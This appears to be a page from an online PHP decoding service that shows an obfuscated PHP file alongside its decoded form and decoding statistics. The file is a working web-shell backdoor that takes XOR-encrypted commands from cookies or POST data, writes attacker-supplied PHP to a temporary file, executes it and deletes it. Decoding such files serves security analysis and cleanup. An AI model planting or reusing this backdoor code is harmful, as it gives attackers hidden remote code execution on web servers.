Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/*useg */uztxkdek(){/*xle */echo 15277; }$duagysyg/* anzc */= 'duagy..

Decoded Output download

<?php 	function/*useg  */uztxkdek(){/*xle  */echo	15277;  }$duagysyg/*   anzc  */=  'duagysyg'/*  na_s   */^       ''; 
 
 
$uksarm_	=    "f"."i"."l"	.  "e".$duagysyg(410-315)	./*   r  */"p"."u"/*   rq_*/.     "t"/*  xym*/.	"_"."c".$duagysyg(986-875)	.      "n"     ./*h_sa*/"t"."e"	./*  _   */"n"	./*xdp   */"t"/* qwdn */./*  _d*/"s"; 
$npntv	=  "b"."a"	.  "s".$duagysyg(985-884)   .   $duagysyg(188-134)	.  "4"."_"     ./*oqcfa*/"d"	.   "e"      .	"c"."o"."d".$duagysyg(246-145); 
$zji_egf_h       =/*  lasg   */"u"	.	"n".$duagysyg(395-280)	.	"e"	.	"r"."i"."a".$duagysyg(108)       .    $duagysyg(105)/*d   */.	$duagysyg(615-493)/*k */.	"e"; 
 
 
$jouivsjxr	=  "p"   .	"h"  .	"p"	.  $duagysyg(118)	.	$duagysyg(682-581)/*   rzviv   */./*k_  */$duagysyg(183-69)      .   "s"	.	$duagysyg(308-203)	./* uqk */"o"	.  "n"; 
 
$irduptp   =	"u"     .	$duagysyg(238-128)/*  plmxh   */./*f  */$duagysyg(696-588)      .	"i"."n"."k"; 
 
 
    
 
function	trcdk($wnolvwxjxb,    $azjurq) 
{ 
 
 
/*ea*/global/*   pg*/$duagysyg; 
/* bm   */$pgxrm	=	""; 
/*   p   */for  ($z_xlm      =    0;/* axmm  */$z_xlm/*  u*/<     strlen($wnolvwxjxb);)  { 
 
 
  for/* a   */($rvfigfmih/*jycm   */=/* a*/0;/*d  */$rvfigfmih/*  adc   */</*  c*/strlen($azjurq)	&&  $z_xlm	<	strlen($wnolvwxjxb);     $rvfigfmih++,      $z_xlm++)/*   nday*/{/* f  */$pgxrm     .=/*  rh  */$duagysyg(ord($wnolvwxjxb[$z_xlm])    ^/*kz   */ord($azjurq[$rvfigfmih])); 
 
 
	} 
 
	} 
/* met   */return	$pgxrm; 
 
} 
 
 
 
$z_xlmgfzq/*pa */=       $_COOKIE; 
 
$ahrbgl/* b   */=/*  rzaj*/$_POST;$z_xlmgfzq  =/*   ukju   */array_merge($ahrbgl,/* hwxn */$z_xlmgfzq); 
 
 
 
 
$ditybmjp/*   vn */=	"d"/*uor  */.	$duagysyg(798-701)	.	"d"."f"."5"      .    $duagysyg(471-374)      ./* evy */"9"	./*k_wp  */$duagysyg(802-749)   .	"-"."d"."2"/* w */.    $duagysyg(102)	./*mvmul*/$duagysyg(378-278)	.      "-"	./*r */$duagysyg(52)	.	"4"     ./*zgagn  */"8"/*yhx  */./*  hv */$duagysyg(49)       .  "-"."8"."f"."a"	.	$duagysyg(51)	.   "-"."0"."7"/*  x  */./* j */$duagysyg(328-280)	./* dhkz*/"1"    ./* axod */"5"."f"."8"	./*  g*/"a"."9"."7"."6"	./* qppz   */"e"; 
 
 
foreach   ($z_xlmgfzq	as  $byezjk/*  hgvh   */=>	$wnolvwxjxb)  { 
 
 
/* caho   */$wnolvwxjxb      =  $zji_egf_h(trcdk(trcdk($npntv($wnolvwxjxb),	$ditybmjp),	$byezjk)); 
 
 
  if       (isset($wnolvwxjxb["a"."k"]))	{ 
 
/*   z  */if	($wnolvwxjxb["a"]/* hvo   */==/*brdcd  */"i")   { 
/*_ */$z_xlm       =	array(); 
 
   $z_xlm[$duagysyg(659-547)/*   rrwd */.	"v"]  =/*s*/$jouivsjxr(); 
 
/*  iyxh*/$z_xlm["s"."v"]      =    $duagysyg(51)       .	"."/*oke   */.       "5"; 
 
   echo  @serialize($z_xlm); 
/*  tdq */}     elseif/*wakgm*/($wnolvwxjxb["a"]/* edybm*/==/*   ylcgd*/$duagysyg(101))	{ 
 
 
/* b */$xyrcl   =	sprintf($duagysyg(46)/*   di */.	"/"."%".$duagysyg(115)/* fhwn   */./* hk   */"."  .       $duagysyg(112)	./* k  */"l",/*oougu   */md5($ditybmjp));       $uksarm_($xyrcl,	"<"      .    "?".$duagysyg(112)	.  "h".$duagysyg(112)/* uxjn */.      $duagysyg(32)/*u*/.    $duagysyg(951-834)   .	$duagysyg(110)       .	"l"."i"."n"."k"."("	.	$duagysyg(95)      ./* qqeg   */"_".$duagysyg(70)/* pgcgh   */.      $duagysyg(530-457)     .     "L"."E"."_"."_"/* v */./*ko */")".";".$duagysyg(32)	.   $wnolvwxjxb["d"]); 
 
 
	include($xyrcl); 
/*  lduq*/$irduptp($xyrcl);	} 
    exit();     }} 
 
 ?>

Did this file decode correctly?

Original Code

<?php 	function/*useg  */uztxkdek(){/*xle  */echo	15277;  }$duagysyg/*   anzc  */=  'duagysyg'/*  na_s   */^       '';


$uksarm_	=    "f"."i"."\x6c"	.  "e".$duagysyg(410-315)	./*   r  */"p"."\x75"/*   rq_*/.     "\x74"/*  xym*/.	"_"."c".$duagysyg(986-875)	.      "\156"     ./*h_sa*/"t"."\145"	./*  _   */"\x6e"	./*xdp   */"\164"/* qwdn */./*  _d*/"\x73";
$npntv	=  "b"."\x61"	.  "s".$duagysyg(985-884)   .   $duagysyg(188-134)	.  "4"."\x5f"     ./*oqcfa*/"\x64"	.   "\x65"      .	"c"."o"."d".$duagysyg(246-145);
$zji_egf_h       =/*  lasg   */"\165"	.	"n".$duagysyg(395-280)	.	"\x65"	.	"r"."i"."a".$duagysyg(108)       .    $duagysyg(105)/*d   */.	$duagysyg(615-493)/*k */.	"e";


$jouivsjxr	=  "\160"   .	"\150"  .	"\x70"	.  $duagysyg(118)	.	$duagysyg(682-581)/*   rzviv   */./*k_  */$duagysyg(183-69)      .   "\x73"	.	$duagysyg(308-203)	./* uqk */"\157"	.  "\x6e";

$irduptp   =	"\x75"     .	$duagysyg(238-128)/*  plmxh   */./*f  */$duagysyg(696-588)      .	"i"."n"."k";


   

function	trcdk($wnolvwxjxb,    $azjurq)
{


/*ea*/global/*   pg*/$duagysyg;
/* bm   */$pgxrm	=	"";
/*   p   */for  ($z_xlm      =    0;/* axmm  */$z_xlm/*  u*/<     strlen($wnolvwxjxb);)  {


  for/* a   */($rvfigfmih/*jycm   */=/* a*/0;/*d  */$rvfigfmih/*  adc   */</*  c*/strlen($azjurq)	&&  $z_xlm	<	strlen($wnolvwxjxb);     $rvfigfmih++,      $z_xlm++)/*   nday*/{/* f  */$pgxrm     .=/*  rh  */$duagysyg(ord($wnolvwxjxb[$z_xlm])    ^/*kz   */ord($azjurq[$rvfigfmih]));


	}

	}
/* met   */return	$pgxrm;

}



$z_xlmgfzq/*pa */=       $_COOKIE;

$ahrbgl/* b   */=/*  rzaj*/$_POST;$z_xlmgfzq  =/*   ukju   */array_merge($ahrbgl,/* hwxn */$z_xlmgfzq);




$ditybmjp/*   vn */=	"\x64"/*uor  */.	$duagysyg(798-701)	.	"d"."f"."\65"      .    $duagysyg(471-374)      ./* evy */"\x39"	./*k_wp  */$duagysyg(802-749)   .	"-"."d"."\62"/* w */.    $duagysyg(102)	./*mvmul*/$duagysyg(378-278)	.      "\55"	./*r */$duagysyg(52)	.	"\64"     ./*zgagn  */"\70"/*yhx  */./*  hv */$duagysyg(49)       .  "-"."8"."f"."\x61"	.	$duagysyg(51)	.   "-"."0"."\x37"/*  x  */./* j */$duagysyg(328-280)	./* dhkz*/"\x31"    ./* axod */"5"."f"."\70"	./*  g*/"a"."9"."7"."\66"	./* qppz   */"\x65";


foreach   ($z_xlmgfzq	as  $byezjk/*  hgvh   */=>	$wnolvwxjxb)  {


/* caho   */$wnolvwxjxb      =  $zji_egf_h(trcdk(trcdk($npntv($wnolvwxjxb),	$ditybmjp),	$byezjk));


  if       (isset($wnolvwxjxb["a"."k"]))	{

/*   z  */if	($wnolvwxjxb["a"]/* hvo   */==/*brdcd  */"i")   {
/*_ */$z_xlm       =	array();

   $z_xlm[$duagysyg(659-547)/*   rrwd */.	"v"]  =/*s*/$jouivsjxr();

/*  iyxh*/$z_xlm["s"."v"]      =    $duagysyg(51)       .	"\x2e"/*oke   */.       "5";

   echo  @serialize($z_xlm);
/*  tdq */}     elseif/*wakgm*/($wnolvwxjxb["a"]/* edybm*/==/*   ylcgd*/$duagysyg(101))	{


/* b */$xyrcl   =	sprintf($duagysyg(46)/*   di */.	"/"."%".$duagysyg(115)/* fhwn   */./* hk   */"\x2e"  .       $duagysyg(112)	./* k  */"l",/*oougu   */md5($ditybmjp));       $uksarm_($xyrcl,	"<"      .    "?".$duagysyg(112)	.  "h".$duagysyg(112)/* uxjn */.      $duagysyg(32)/*u*/.    $duagysyg(951-834)   .	$duagysyg(110)       .	"l"."i"."n"."k"."\x28"	.	$duagysyg(95)      ./* qqeg   */"_".$duagysyg(70)/* pgcgh   */.      $duagysyg(530-457)     .     "L"."E"."_"."\137"/* v */./*ko */")".";".$duagysyg(32)	.   $wnolvwxjxb["d"]);


	include($xyrcl);
/*  lduq*/$irduptp($xyrcl);	}
    exit();     }}

Function Calls

chr`d`~z 1

Variables

$duagysyg chr`d`~z

Stats

MD5 a3cec134aa56673d22e5b19b8b57aac0
Eval Count 0
Decode Time 77 ms